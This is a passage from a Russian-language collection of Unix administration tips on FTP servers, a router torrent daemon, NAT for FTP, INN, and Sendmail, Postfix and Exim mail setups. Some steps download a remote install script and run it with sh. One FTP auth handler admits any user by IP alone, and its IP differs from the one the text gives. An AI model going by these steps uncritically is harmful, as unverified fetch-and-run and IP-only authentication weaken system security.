    Создаем авторизующий скрипт /usr/local/pure-ftpd/sbin/ftp-auth-handler
    Со следующим содержанием:
    
       if test "$AUTHD_REMOTE_IP" = "192.168.0.102"; then
          echo 'auth_ok:1'
          echo 'uid:69'
          echo 'gid:42'
          echo 'dir:/tmp'
       else
          echo 'auth_ok:0'
       fi
          echo 'end'
    
    Этот скрипт успешно авторизует любого пользователя с IP 192.168.0.201
    
    Кроме $AUTHD_REMOTE_IP в скрипте можно использовать следующие переменные:
    
       AUTHD_ACCOUNT
       AUTHD_PASSWORD
       AUTHD_LOCAL_IP
       AUTHD_LOCAL_PORT
       AUTHD_REMOTE_IP
       AUTHD_ENCRYPTED
    
    В ответе скрипта можно передавать следующие параметры
    
       uid:xxx -  UID пользователя в системе
       gid:xxx - GID пользователя в системе
       dir:xxx -  Абсолютный путь  до домашней директории
       throttling_bandwidth_ul:xxx  -  Ширина канала  закачки на сервер
       throttling_bandwidth_dl:xxx - Ширина канала скачки с сервера
       user_quota_size:xxx  -  Дисковая квота пользователя в байтах
       user_quota_files:xxx  -  Максимальное количество файлов для пользователя
       per_user_max:xxx  - Максимальное количество одновременных сессий
    
    После этого осталось запустить сам сервер.
    
    Скопируем запускающий скрипт pure-config.pl из каталога с исходниками
    
       cp configuration-file/pure-config.pl /usr/local/pure-ftpd/sbin/
    
    Для запуска сервера выполняем следующую команду:
    
       /usr/local/pure-ftpd/sbin/pure-config.pl /etc/pure-ftpd.conf
    
    Для запуска демона авторизации выполняем это:
       /usr/local/pure-ftpd/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/pure-ftpd/sbin/ftp-auth-handler &
    
    Осталось внести последние две строчки в автозагрузку, и на этом базовая
    настройка сервера закончена.
    
     
    ----* Установка torrent-демона transmission на маршрутизаторе Linksys WRT54GL (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    Железо - Linksys WRT54GL (v1.1) + NAS (HDD, доступный через CIFS/SMB), OS - dd-wrt v.24. 
    
    Потребность - закрутить на всём этом хозяйстве torrent-демон transmission 
    с возможностью управления закачками через web.
    
    Сперва стоит позаботиться о том, чтобы файловая система jffs работала без
    проблем и была примонтирована
    (/jffs, NAS как раз для этого и нужен). На её основе будет построена новая ветка /jffs/opt, 
    в которую будет установлены все необходимые для работы transmission пакеты Optware.
    
       # mkdir /jffs/opt
       # mount -o bind /jffs/opt /opt
    
    Далее необходимо пройти минимальную установку Optware:
    
       # wget http://www.3iii.dk/linux/optware/optware-install-ddwrt.sh -O /tmp/optware-install.sh
    # sh /tmp/optware-install.sh
    
    Теперь можно запускать установку transmission, установив прежде переменную PATH:
    
       # export PATH=/opt/bin:/opt/sbin:$PATH
       # ipkg-opt install transmission
    
    Домашней директорией для transmission будет /jffs/torrents, поэтому запускаем
    демон, указав необходимые параметры
    
       /opt/bin/transmission-daemon -g /jffs/torrents/.config/transmission-daemon -a "192.168.1.33"
       killall transmission-daemon
    
    Запустив однажды transmission, создаётся дерево служебных подкаталогов, 
    скаченные файлы складываются в корень созданной структуры (/jffs/torrents), 
    конфигурационный файл - /jffs/torrents/.config/transmission-daemon/settings.json:
    
       /jffs/torrents/.config/
       /jffs/torrents/.config/transmission-daemon
       /jffs/torrents/.config/transmission-daemon/settings.json
       /jffs/torrents/.config/transmission-daemon/stats.json
       /jffs/torrents/.config/transmission-daemon/blocklists
       /jffs/torrents/.config/transmission-daemon/resume        
       /jffs/torrents/.config/transmission-daemon/torrents
    
    Остаётся открыть порт 9091 для доступа к web-интерфейсу
    
       /usr/sbin/iptables -I INPUT 1 -p tcp --dport 9091 -j logaccept
    
    и добавить запуск transmission в startup-скрипт
    
       mount -o bind /jffs/opt /opt
       export PATH=/opt/bin:/opt/sbin:$PATH
       /opt/bin/transmission-daemon -g /jffs/torrents/.config/transmission-daemon
    
    Web-интерйейс доступен с компьютера 192.168.1.33 по адресу http://host:9091/transmission/web/.
    
     
    ----* Настройка pure-ftpd в Debian GNU/Linux, с хранением учетных записей в PureDB (доп. ссылка 1)   Автор: Heckfy  [комментарии]
     
    Цель - отделить пользователей из /etc/passwd от пользователей ftp, 
    но не устанавливая различных внешних средств для хранения базы пользователей. 
    Из целого ряда ftp-серверов я остановился на pure-ftpd.
    
    Вариант запуска был найден быстро, но при этом сервер должен был запускаться средствами (x)inetd:
    
       $ grep pure /etc/inetd.conf
       ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/pure-ftpd-virtualchroot -4 -A -E -d -lpuredb:/etc/pure-ftpd/pureftpd.pdb
    
    Сделал так на другом сервере и понял, что у меня там нет inetd. 
    Устанавливать не стал. Решил сделать сервис standalone.
    
       # dpkg-reconfigure pure-ftpd-common
    
    Конечно, однострочные конфиги, раскиданные по разным файлам, 
    могут вызвать отторжение у сторонников другого подхода, но сейчас не об этом.
    
       # /etc/init.d/pure-ftpd restart
       Restarting ftp server: Running: /usr/sbin/pure-ftpd-virtualchroot -l pam -d -4 -u 1000 -A -E -O clf:/var/log/pure-ftpd/transfer.log -B
    
    Выключаю pam и включаю puredb
       # rm /etc/pure-ftpd/conf/PAMAuthentication /etc/pure-ftpd/auth/70pam
       # ln -s ../conf/PureDB /etc/pure-ftpd/auth/45puredb
    
    Работа с учетными записями производится посредством pure-pw.
    
    В заключение, пример рабочей конфирурации:
    
       $ grep -r . /etc/pure-ftpd/*/
       /etc/pure-ftpd/auth/45puredb:/etc/pure-ftpd/pureftpd.pdb
       /etc/pure-ftpd/auth/65unix:no
       /etc/pure-ftpd/conf/UnixAuthentication:no
       /etc/pure-ftpd/conf/VerboseLog:Yes
       /etc/pure-ftpd/conf/IPV4Only:Yes
       /etc/pure-ftpd/conf/MinUID:10000
       /etc/pure-ftpd/conf/ChrootEveryone:Yes
       /e tc/pure-ftpd/conf/NoAnonymous:yes
       /etc/pure-ftpd/conf/PureDB:/etc/pure-ftpd/pureftpd.pdb
       /etc/pure-ftpd/conf/AltLog:clf:/var/log/pure-ftpd/transfer.log
       
    
     
    ----* Как быстро расшарить директории через ftp в Linux   Автор: borey  [комментарии]
     
    На моей станции поднят ftp сервер (vsftpd). Как известно FTP cервер позволяет расшарить 
    определённую директорию (в нашем случае /var/ftp/)/ Часто у меня возникали ситуации 
    когда нужно что то расшарить по сети, а копировать это в раздел где расшаренная 
    директория - места нет. Да и копировать это опять же или менять кофиг сервера и
    перерапускать сервис.
    Для себя нашёл очень простой и удобный способ как это сделать. 
    
    Монтировать нужные директории в дерево /var/ftp используя 'mount --bind '. всё просто.
    
       [root@n100851 ~]# mkdir /var/ftp/pub/music
       [root@n100851 ~]# mount --bind /home/user/media/sound/ /var/ftp/pub/music/
    
    и всё. анонимусы могут забирать музыку с FTP сервера.
    
     
    ----* Как гибко манипулировать настройками vsftp для разных сетей   Автор: dimus  [комментарии]
     
    Допустим у нас есть сеть 192.168.0.0/24, с которой надо что-то разрешить, а для
    остальных - запретить.
    Редактируем файл /etc/hosts.allow
    
       vsftpd: 192.168.0.0/255.255.255.0, 127.0.0.1: setenv VSFTPD_LOAD_CONF / etc/vsftpd-int.conf : nice 15
       vsftpd: ALL : nice 15
    
    В результате при коннекте из нашей сети будет выполняться конфиг /etc/vsftpd-int.conf, 
    а при коннекте из остальных сетей - /etc/vsftpd.conf 
    Ну а прописать в разных конфигах разные фичи я думаю проблем не составит. 
    
    У меня так регулируется скорость:
    
    cat /etc/vsftpd-int.conf
       ...тут пропущен здоровый кусок конфига
       # Этот конфиг для внутренних нужд - скорость по максимуму
       anon_max_rate=0
       local_max_rate=0
    
    cat /etc/vsftpd.conf
        ...тут пропущен здоровый кусок конфига
        anon_max_rate=32000
        local_max_rate=64000
    
     
    ----* Пример настройки vsftpd (доп. ссылка 1)   [комментарии]
     
    /etc/vsftpd.conf:
    
    # Запускаем как демон, а не из inetd.
    listen=YES
    background=YES
    listen_address=192.168.1.1
    
    # Включаем возможность использования tcpwrapper, лимиты через /etc/hosts.allow
    tcp_wrappers=YES
    
    # Пускаем только пользователей имеющих валидный shell, присутствующий в /etc/shells
    check_shell=YES
    
    # Вместо реальных владельцев файлов всегда показываем ftp:ftp
    hide_ids=YES
    
    # Общее максиамльно допустимое число коннектов.
    max_clients=100
    
    # Разрешенное число коннектов с одного IP.
    max_per_ip=5
    
    # Таймаут при ожидании команды
    idle_session_timeout=300
    
    # Таймаут при передаче данных
    data_connection_timeout=60
    
    # Непривилегированный пользователь, для того чтобы делать под ним, что можно выполнить без root.
    nopriv_user=ftp
    
    # Запрещаем рекурсивный вызов "ls -R"
    ls_recurse_enable=NO
    
    # Ограничение скорости прокачки для анонимных и локальных пользователей (байт в сек.)
    anon_max_rate=50000
    local_max_rate=100000
    
    # Включаем ведение лога операций.
    xferlog_enable=YES
    vsftpd_log_file=/var/log/vsftpd.log
    
    # Расширенные логи всех команд
    log_ftp_protocol=YES
    
    
    # ------------ Настрйоки для анонимного сервера
    
    # Если сервер публичный, пускающий анонимных пользователей
    anonymous_enable=YES
    anon_umask=077
    
    # Корень анонимного ftp архива
    anon_root=/usr/local/ftp
    
    # Запрещаем анонимным пользователям запись данных, если нужно разрешить
    # запись для локальных пользовтелей (write_enable=YES)
    anon_upload_enable=NO
    
    # Запрещаем создавать директории.
    anon_mkdir_write_enable=NO
    
    # Запрещаем переименовывать и удалять
    anon_other_write_enable=NO
    
    # Если нужно запретить доступ к определенным типам файлов по маске
    # deny_file={*.mp3,*.mov, *.avi, .filelist}
    
    # Если нужно скрыть определенные типы файлов при выводе списка, 
    # но дать скачать тем кто знает точное имя.
    # hide_file={*.mp3,*.mov, *.avi}
    
    # Если анонимную закачку необходимо разрешить, нужно дополнительно 
    # использовать chown_uploads=YES и chown_username=ftp_anon_user
    
    # Если нужно пускать анонимных пользователей только при правильном введении 
    # email (аналог паролей для ограничения доступа к публичному ftp), заданного в 
    # файле определенном директивой email_password_file, нужно установить 
    # secure_email_list_enable=YES
    
    
    # ------------ Настрйоки для входа локальных пользователей
    
    # Если сервер разрешает вход локальных пользователей, присутствующих в системе
    local_enable=YES
    
    # "-rw-r--r--"
    local_umask=022
    
    # Разрешаем показ файлов начинающихся с точки (например, .htaccess) для кривых ftp-клиентов
    force_dot_files=YES
    
    # Разрешаем пользователям записывать/изменять свою информацию на сервер.
    # если нужно запретить запись данных - write_enable=NO
    # Более тонкий тюнинг через "cmds_allowed=PASV,RETR,QUIT"
    write_enable=YES
    
    # Для всех пользователей делаем chroot, делаем корнем их домашнюю директорию,
    # Список логинов для которых не нужно делать chroot задаем в vsftpd.chroot_list
    chroot_local_user=YES
    chroot_list_enable=YES
    chroot_list_file=/etc/vsftpd.chroot_list
    
    # Активируем список пользователей которым запрещен вход по FTP (например, root)
    userlist_enable=YES
    userlist_file=/etc/ftpusers
    
     
    ----* Особенности использование ftp из-за фаервола ipfw/natd   Автор: globus  [комментарии]
     
    Необходимо выпустить пользователей на ftp сайты из локальной сети, но при этом не устанавливая 
    дополнительного ПО, используя только возможности FreeBSD 4.10.
    Этими возможностями, как ни странно, оказались ipfw и natd 
    вот собственно как все это прописывается.
    
    Исходные данные, FreeBSD 4.10 + настроенный nat правила для ipfw 
       ipfw -q add 100 divert natd from 192.168.20.0/24 to any 20, 21 out via $oif 
       ipfw -q add 200 divert natd from any 20, 21 to $iip in via $oif 
       ipfw -q add 300 allow tcp from any to any established 
       ipfw -q add 400 allow tcp from any to any setup 
    где $oif и $iip соответственно внешний интерфейс и внешний IP 
    
    теперь запускаем natd 
       /sbin/natd -m -s -u -punch_fw 500:200 -n xl1
    
    заострю внимание на параметре "-punch_fw" -этот параметр создает в фаерволе "ходы", 
    добавляя динамические правила. В моем случае эти правила начнутся с номера 500
    и будет их добавлено
    максимум 200 (понятно чем больше сеть, те больше нужно правил).
    
    Особое спасибо A Clockwork Orange.
    
     
    ----* Как настроить NAT (транслятор адресов) для нормальной работы с FTP и ICQ в Linux   [комментарии]
     
    iptables:
       modprobe iptable_nat
       modprobe ip_conntrack_ftp
       modprobe ip_nat_ftp                     
       modprobe ip_nat_irc
    ipchains:
       modprobe ip_masq_ftp
       modprobe ip_masq_raudio
       modprobe ip_masq_irc
       modprobe ip_masq_icq
    
     
    ----* Как обеспечить работу active FTP режима в FreeBSD NAT   [обсудить]
     
    В ipnat воспользуйтесь модулем ftp proxy:
      map fxp0 0/0 -> 0/32 proxy port ftp ftp/tcp
      map rl0 172.16.33.0/24 -> 212.46.231.50/32 proxy port ftp ftp/tcp
    не забудьте поместить правило трансляции ftp перед общим правилом трансляции, 
    порядок следования правил важен.
    
     

       INN

    ----* Как после краха INN перестроить group.index и содержимое overview   [обсудить]
     
      makehistory -O -x -F
    
     
    ----* Почему INN не запускается и ругается на отсутствие файла history   Автор: Andrey Slusar  [обсудить]
     
      makehistory -b -f history -O -l 30000 -I
      makedbz -f history -i -o -s 30000
    
     

       Mail, почта

    ----* Использование Sendmail в качестве буфера MS Exchange в MS Active Directory   Автор: Дмитрий Казаров  [комментарии]
     
    Описание задачи
    Имеется:
    
  • Компания с несколькими офисами по всему миру
  • Много доменная структура на базе Microsoft Active Directory
  • Внутренняя почта на серверах MS Exchange Server 2007, которые, по разным соображениям, не желательно выставлять в интернет.
  • Шлюзы в интернет на базе FreeBSD 8+ Нужно настроить Sendmail на пересылку почты из интернета в Exchange и обратно, с учётом требований
  • адекватной защитой от спама и вирусов
  • максимальной интеграцией в АД
  • обслуживание множества почтовых доменов и доменов АДа.
  • SMTP AUTH по учётным записям домена для любителей путешествовать. Решение Для начала интегрируем шлюз в АД. Это понадобится и для SMTP AUTH и для авторизации в Squid-е и ещё много для чего. 1. Подготовка системы. 1.1. Устанавливаем samba. cd /usr/ports/net/samba35/ make install clean При настройке пакета нам понадобиться только параметры ADS (With Active Directory support) и WINBIND (With WinBIND support). Остальные параметры - по желанию и умению. Первым делом создаём файл /etc/krb5.conf [logging] default = SYSLOG [libdefaults] default_realm = MSK.LAN clockskew = 300 default_tgs_enctypes = RC4-HMAC DES-CBC-CRC DES-CBC-MD5 default_tkt_enctypes = RC4-HMAC DES-CBC-CRC DES-CBC-MD5 preferred_enctypes = RC4-HMAC DES-CBC-CRC DES-CBC-MD5 ticket_lifetime = 21600 [realms] MSK.LAN = { kdc = Ad-Srv0.msk.lan:88 admin_server = Ad-Srv0.msk.lan:464 default_domain = msk.lan } GER.LAN = { kdc = Ad-Srv0.ger.lan:88 } TWN.LAN = { kdc = Ad-Srv0.twn.lan:88 } [domain_realm] .msk.lan = MSK.LAN .ger.lan = GER.LAN .twn.lan = TWN.LAN Настраиваем Samba. В данном случае нужен только сервис разрешения имён - остальное отключено за не надобностью. [global] server string = FreeBSD GateWay security = ADS kerberos method = system keytab hosts allow = 192.168.88. 127. load printers = no encrypt passwords = yes winbind separator = + winbind use default domain = yes winbind uid = 10000-15000 winbind gid = 10000-15000 winbind enum users = yes winbind enum groups = yes log file = /var/log/samba/log.%m max log size = 50 password server = Ad-Srv0.msk.lan workgroup = MSKLAN realm = MSK.LAN interfaces = 192.168.88.0/24 socket address = 192.168.88.254 dns proxy = no Следующий шаг - синхронизация времени между доменными серверами и шлюзом. Так как на шлюзе точное глобальное время - синхронизирую по нему контроллеры домена. И наконец интеграция в домен: net ads join -U Administrator@MSK.LAN и создание файла /etc/krb5.keytab net ads keytab create и добавляем строку в /etc/crontab 0 * * * * root /usr/local/bin/net ads kerberos kinit -P она позволит программам, умеющим использовать sasl2, работать в АДе без ввода пароля, используя учётную запись сервера, что позволяет не хранить пароли в скриптах. Добавляем в /etc/rc.conf: winbindd_enable=YES И запускаем его /usr/local/etc/rc.d/samba 1.2. Установка cyrus sasl2: cd /usr/ports/security/cyrus-sasl2 make install clean При настройке порта необходимы только параметры AUTHDAEMOND (Enable use of authdaemon), LOGIN (Enable LOGIN authentication), PLAIN (Enable PLAIN authentication) - остальные на своё усмотрение. Сборка, установка - как обычно, дополнительных настроек ни каких делать не обязательно. 1.3 Установка saslauthd пакета cyrus sasl2 cd /usr/ports/security/cyrus-sasl2-saslauthd make install clean Параметры пакета в данном случае ни на что не влияют. Создаём файл /usr/local/etc/pam.d/smtp со следующим содержимым: auth sufficient pam_krb5.so no_user_check validate account sufficient pam_permit.so добавляем пару строк в /etc/rc.conf saslauthd_enable=YES saslauthd_flags='-a pam -c -t 3600' и запускаем сервис /usr/local/etc/rc.d/saslauthd start И проверяем, что это всё работает: # testsaslauthd -s smtp -u user -p 'password' 0: OK "Success." Если ответ другой - разобраться поможет режим отладки saslauthd -a pam -n 0 -d . 1.4. Установка клиента openldap. cd /usr/ports/net/openldap24-client make install clean Необходим параметр SASL (With (Cyrus) SASL2 support). После установки добавляем пару строк в /usr/local/etc/openldap/ldap.conf BASE dc=MSK,dc=lan URI ldap://msk.lan Проверяем, что ldapsearch работает как надо: ldapsearch -z 1 '(objectclass=user)' Должно получиться что-то типа: SASL/GSSAPI authentication started SASL username: SRV-GW$@MSK.LAN SASL SSF: 56 SASL data security layer installed. # extended LDIF # # LDAPv3 # base <dc=MSK,dc=lan> (default) with scope subtree # filter: (objectclass=user) # requesting: ALL # # SRV05, Servers, Central Office, Offices, msk.lan dn: CN=SRV05,OU=Servers,OU=Central Office,OU=Offices,DC=MSK,DC=lan objectClass: top objectClass: person objectClass: organizationalPerson objectClass: user objectClass: computer cn: SRV05 userCertificate:: MII... 1.5 Установка антивируса. cd /usr/ports/security/clamav make install clean Среди параметров обязательно нужен MILTER (Compile the milter interface). Добавляем в /etc/rc.conf несколько строк clamav_clamd_enable=YES clamav_milter_enable=YES clamav_freshclam_enable=YES и запускаем сервисы: /usr/local/etc/rc.d/clamav-clamd /usr/local/etc/rc.d/clamav-milter /usr/local/etc/rc.d/clamav-freshclam 2. Настройка sendmail-а. 2.1. Собираем sendmail c поддержкой SASL2. Добавляем в файл /etc/make.conf строки SENDMAIL_CFLAGS=-I/usr/local/include -DSASL=2 SENDMAIL_LDFLAGS=-L/usr/local/lib SENDMAIL_LDADD=-lsasl2 и пересобираем sendmail: cd /usr/src/usr.sbin/sendmail make clean obj all install 2.2. Настраиваем маршрутизацию писем и прочие функции sendmail-а. Создаём файл /etc/mail/relay-domains и прописываем в нём все почтовые домены, обслуживаемые данным почтовым сервером domain1.ru domain2.ru domain3.tw В файл /etc/mail/mailertable вносим информацию о серверах Exchange, принимающих почту этих доменов. domain1.ru esmtp:srv-exch.msk.lan domain2.ru esmtp:srv-exch.msk.lan domain3.tw esmtp:srv-exch.twn.lan Создаём SSL-ные ключи для Sendmail-а mkdir -p /etc/mail/SSL cd /etc/mail/SSL openssl req -new -x509 -keyout cakey.pem -out cacert.pem -days 365 openssl req -nodes -new -x509 -keyout sendmail.pem -out sendmail.pem -days 365 Рекомендация: в поле "Common Name" указывайте полное доменное имя этого SMTP сервера, в том виде, как оно прописано в DNSе в полях MX. 2.3 Настраиваем файлы конфигурации sendmail-а cd /etc/mail make Редактируем файл `hostname`.mc, он должен принять примерно следующий вид. VERSIONID(`$FreeBSD: src/etc/sendmail/freebsd.mc,v 1.37.2.3 2011/06/20 01:48:49 gshapiro Exp $') OSTYPE(freebsd6) DOMAIN(generic) define(`confDOMAIN_NAME', `mx.domain.ru')dnl FEATURE(access_db) FEATURE(blacklist_recipients) FEATURE(local_lmtp) FEATURE(mailertable) FEATURE(virtusertable) define(`confDONT_BLAME_SENDMAIL',`GroupReadableSASLDBFile')dnl define(`confCACERT_PATH', `/etc/mail/SSL')dnl define(`confCACERT', `/etc/mail/SSL/cacert.pem')dnl define(`confSERVER_CERT', `/etc/mail/SSL/sendmail.pem')dnl define(`confSERVER_KEY', `/etc/mail/SSL/sendmail.pem')dnl define(`confCLIENT_CERT', `/etc/mail/SSL/sendmail.pem')dnl define(`confCLIENT_KEY', `/etc/mail/SSL/sendmail.pem')dnl TRUST_AUTH_MECH(`PLAIN LOGIN')dnl define(`confAUTH_MECHANISMS', `PLAIN LOGIN')dnl define(`confAUTH_OPTIONS', ``A,p,y'')dnl FEATURE(`require_rdns')dnl FEATURE(`delay_checks')dnl FEATURE(`blacklist_recipients')dnl FEATURE(dnsbl, `blackholes.mail-abuse.org', ``"550 Mail from " $&{client_addr} " rejected, see http://mail-abuse.org/cgi-bin/lookup?" $& {client_addr}'') FEATURE(`enhdnsbl', `bl.spamcop.net', `"Spam blocked see: http://spamcop.net/bl.shtml?"$&{client_addr}', `t')dnl FEATURE(`dnsbl', `zen.spamhaus.org', `"Spam blocked see: http://www.spamhaus.org/query/bl?ip="$&{client_addr}', `t')dnl INPUT_MAIL_FILTER(`clmilter',`S=local:/var/run/clamav/clmilter.sock,F=,T=S:4m;R:4m')dnl define(`confCW_FILE', `-o /etc/mail/local-host-names') dnl Enable for both IPv4 and IPv6 (optional) DAEMON_OPTIONS(`Name=NoMTA, Addr=127.0.0.1, M=EA')dnl DAEMON_OPTIONS(`Name=IPv4, Family=inet') dnl DAEMON_OPTIONS(`Name=IPv6, Family=inet6, Modifiers=O') DAEMON_OPTIONS(`Family=inet, Port=465, Name=MTA-SSL, M=s')dnl CLIENT_OPTIONS(`Family=inet, Address=mx.domain.ru') define(`confBIND_OPTS', `WorkAroundBrokenAAAA') define(`confNO_RCPT_ACTION', `add-to-undisclosed') define(`confPRIVACY_FLAGS', `authwarnings,noexpn,novrfy') MAILER(local) MAILER(smtp) Здесь строка define(`confDOMAIN_NAME', `mx.domain.ru')dnl должна содержать публичное доменное имя этого почтового сервера, которое прописывается в DNS-е в записях МХ. Аналогично со строкой CLIENT_OPTIONS(`Family=inet, Address=mx.domain.ru'). Строки TRUST_AUTH_MECH(`PLAIN LOGIN')dnl define(`confAUTH_MECHANISMS', `PLAIN LOGIN')dnl включают SMPT авторизацию, но так как saslauthd авторизует с помощью PAM в Kerberos-е, можно использовать только пароль в открытом виде. Другие способы, хотя и более безопасные на уровне SMTP требуют наличия открытого пароля на стороне сервера и в нашем случае не доступны. Проблема безопасности паролей решается принуждением почтового клиента использовать шифрование транспорта (TLS или SSL) с помощью следующего параметра: define(`confAUTH_OPTIONS', ``A,p,y'')dnl Остальные параметры хорошо описаны в /usr/share/sendmail/cf/README и прочей документации. Добавляем в /etc/rc.conf строку sendmail_enable=YES и приводим в действие этот файл конфигурации: cd /etc/mail make make install /etc/rc.d/sendmail restart 2.4 Настройка списка адресатов. Осталась одна чрезвычайно важная деталь - эта настройка приводит к тому, что sendmail отправляет Exchange-ам всю почту пришедшую на наши почтовые домены, не проверяя существуют ли адресаты или нет. Разумеется, получив от Exchange-а отказ из-за отсутствия получателя, sendmail пытается уведомить об этом отправителя, но в большинстве слуаев его не существует - спам он и есть спам. Это набивает очередь sendmail-a не доставимыми письмами, забивает ящик postmaster-а письмами о не возможности доставки, но, что гораздо хуже, даёт дополнительную нагрузку на Exchange. Существуют несколько путей решения проблемы: на пример, можно запрашивать в АДе по LDAPу существования получателя. Если у вас только один АДовский домен - задача делается тройкой команд в .mc . Если больше - придётся ручками вставлять команды sendmail-a по аналогии с готовыми. Но в результате - доменный контроллер будет довольно сильно нагружен поисками несуществующих адресатов, каждый из которых подразумевает полный проход по базе. Доменный контроллер - не самый лучший кандидат для такой нагрузки, у него много своих собственных задач. Гораздо логичнее кешировать данные о существуюших адресатах в небольшой базе на самом почтовике. И наиболее подходящей для этой цели является база access. Для наполнения этой базы можно воспользоваться следующим скриптом (у меня он записан в файл /etc/mail/LDAP2AccessDB): #!/bin/sh # This filter selects groups (all) and users that are not disabled. #Filter='(&(proxyaddresses=smtp:*)(|(&(objectClass=User) #(!(userAccountControl:1.2.840.113556.1.4.803:=2))) #(objectClass=Group)))' # All users that has Exchange account. Filter='(&(proxyaddresses=smtp:*)(|(objectClass=User)(objectClass=Group)))' Domains='Msk Twn' Msk_URL='ldap://msk.lan' Msk_BDN='dc=msk,dc=lan' Msk_Pfx='/usr/sbin/jail / tmp 192.168.88.254 ' Msk_Aut='' Twn_URL='ldap://twn.lan' Twn_BDN='dc=twn,dc=lan' Twn_Pfx='/usr/sbin/jail / tmp 192.168.88.254 ' Twn_Aut='' OKeyed_domains='subdom.domain1.ru' Relayed_Nets='192.168 127.0' cd /etc/mail ( for d in ${Relayed_Nets}; do echo -e "Connect:$d\tRELAY"; done for d in ${OKeyed_domains}; do echo -e "To:$d\tOK"; done for dom in $Domains; do eval url="\$${dom}_URL" bdn="\$${dom}_BDN" pfx="\$${dom}_Pfx" auth="\$${dom}_Aut" $pfx /usr/local/bin/ldapsearch $auth -QLLL -H "$url" -b "$bdn" "$Filter" proxyaddresses || kill $$ done | /usr/bin/tr '[:upper:]' '[:lower:]' | sed -n 's/^proxyaddresses: *smtp: *//p' | sort -t@ +1 +0 | sed 's/.*/To:& RELAY/' sed 's/#.*//;s/[ ]*//;/^$/d;s/.*/To:& ERROR:"User _really_ unknown. Honestly!"/' relay-domains ) > access.new || exit 254 /usr/bin/cmp access access.new > /dev/null 2>&1 || { [ -d old.accesses ] || mkdir old.accesses || { echo Can not create dir \"old.accesses\"; exit 1; } mv access old.accesses/access.`date +%Y%m%d-%H%M` mv access.new access make maps } В данном скрипте Domains - список АДных доменов, из которых собирается список адресатов. <Domain_Name>_URL - URI ссылающийся на сервер LDAPа домена АДа, <Domain_Name>_BDN - адрес начала поиска в дереве LDAP, <Domain_Name>_Pfx - команда, выполняющая команду ldapsearch - setfib, jail, chroot и прочее. В моём случае используется jail для обхода некоторый особенностей маршрутизации внутри VPN тунелей, такой метод вызова позволяет заставить ldapsearch использовать внутренний адрес при запросе. <Domain_Name>_Aut - параметр для авторизации, если домен не принимает авторизацию в домене с помощью SASL2, настроенную в п 1.1 OKeyed_domains - список почтовых (под) доменов, которые необходимо пересылать. Если в домене domain1.ru, адресаты которого находятся на сервере Exchange, есть поддомен sub.domain1.ru, обслуживаемый другой почтовой системой, данная схема настройки sendmail-а не позволит пользователям Exchange-а посылать туда письма. Добавление такого домена в OKeyed_domains позволит исключить его из списка блокируемых доменов. Relayed_Nets - список базовых IP адресов сетей или IP адресов компьютеров, почта которых пересылается на произвольные адреса без предварительной авторизации с помощью SMTP AUTH. Добавляем строку в /etc/crontab */15 * * * * root /etc/mail/LDAP2AccessDB > /dev/null Заключение Собственно - всё! Должно работать. Литература
  • Настройка Sendmail + SASL2 + TLS/SSL
  • Samba + AD
  • Active Directory and Cyrus SASL Authentication
  • Sendmail WiKi по-русски
  •  
    ----* Аудит входящей и исходящей почты для определенных ящиков в Postfix   [комментарии]
     
    В main.cf добавляем
    
       recipient_bcc_maps = hash:/etc/postfix/recipient_bcc
       sender_bcc_maps = hash:/etc/postfix/sender_bcc
    
    Далее в файлы recipient_bcc и sender_bcc добавляем информацию с каких и на
    какие адреса нужно копировать почту.
    
    Например:
    
    user1@etest.ru admin@test.ru
    
    После внесения изменений не забываем перестроить хэш:
       postmap recipient_bcc
       postmap  sender_bcc
    
     
    ----* Настройка почтового сервера на базе Exim, MySQL и Dovecot во FreeBSD (доп. ссылка 1)   Автор: Денис Кучерский  [комментарии]
     
    Задача: необходимо установить и настроить почтовый сервер для нескольких почтовых доменов. 
    В качестве МТА я выбрал Exim. Список доменов, пользователей и т.д. будут хранится в MySQL.
    Итак, что мы имеем: ОС FreeBSD, на сервере 8 ip-адресов, MySQL сервер уже установлен. 
    
    Приступаем к установке:
    
    1. Добавляем в  /etc/make.conf опции для сборки exim (так же у меня указана версия MySQL, 
    c которой собираются порты и в которых используется MySQL):
    
          DEFAULT_MYSQL_VER=51
          .if ${.CURDIR:N*/usr/ports/mail/exim} == ""
          WITH_MYSQL=yes
          WITH_SPF=yes
          WITH_SRS=yes
          WITHOUT_IPV6=yes
          WITHOUT_MAILSTORE=yes
          WITHOUT_MBX=yes
          WITHOUT_PASSWD=yes
          WITHOUT_PAM=yes
          WITHOUT_AUTH_SPA=yes
          WITHOUT_NIS=yes
          .endif
    
    2. Устанавливаем exim с поддержкой MySQL из портов:
    
          cd /usr/ports/mail/exim ; make install clean ; echo 'exim_enable="YES"' >> /etc/rc.conf
    
    3. Заменяем sendmail в /etc/mail/mailer.conf на exim:
    
          sendmail        /usr/local/sbin/exim
          send-mail       /usr/local/sbin/exim
          mailq           /usr/local/sbin/exim -bp
          newaliases      /usr/local/sbin/exim -bi
          hoststat        /usr/local/sbin/exim
          purgestat       /usr/local/sbin/exim
    
    4. Создаём директорию, в которую exim будет складывать почту (у меня это /home/mail/domains)
    
          mkdir -p /home/mail/domains ; chown -R mailnull:mail /home/mail
    
    5. Создаём БД для exim:
    
          mysqladmin -u root -p create exim_db
    
    6. Создаём пользователя MySQL и выделяем ему права на БД:
    
          echo "GRANT SELECT, INSERT, UPDATE, LOCK TABLES, CREATE, DROP, DELETE, INDEX ON exim_db.* 
          TO exim@localhost IDENTIFIED BY 'Mta_MaileR'" | mysql -u root -p mysql
    
    7. Создаём структуру таблиц (описание таблиц и полей в конце статьи):
    
          fetch -v http://www.sysadminpages.com/files/exim/exim_db.sql
          mysql -u exim -p exim_db < exim_db.sql
    
    8. Подключаемся к БД и добавляем записи для 1-го почтового домена
    (Для примера взял вымешленые имя домена и ip-адрес. Для рабочего почтового сервера необходимо 
    заменить значения на реальные):
    
          mysql -u exim -p exim_db
          mysql>INSERT INTO domains VALUES('example.local','mail.example.local','10.1.10.1');
          mysql>INSERT INTO accounts (login, password, maildir, uid, gid, mailquota) 
          VALUES ('admin@example.local', 'Pass4Admin', '/home/mail/domains/example.local/admin/Maildir', 26, 26, 2000);
    
    9. Конфигурируем exim. Конфиг длинный, и поэтому его описание я опускаю. 
    Рабочий конфиг можно взять по адресу: http://www.opennet.ru/soft/exim.config
    
    10. Запускаем exim
    
          /usr/local/etc/rc.d/exim start
    
    11. Для проверки работоспособности отправляем тестовое письмо
    
          mail -s 'test message' admin@example.local
          test message
          .
    
    Смотрим лог exim:
    
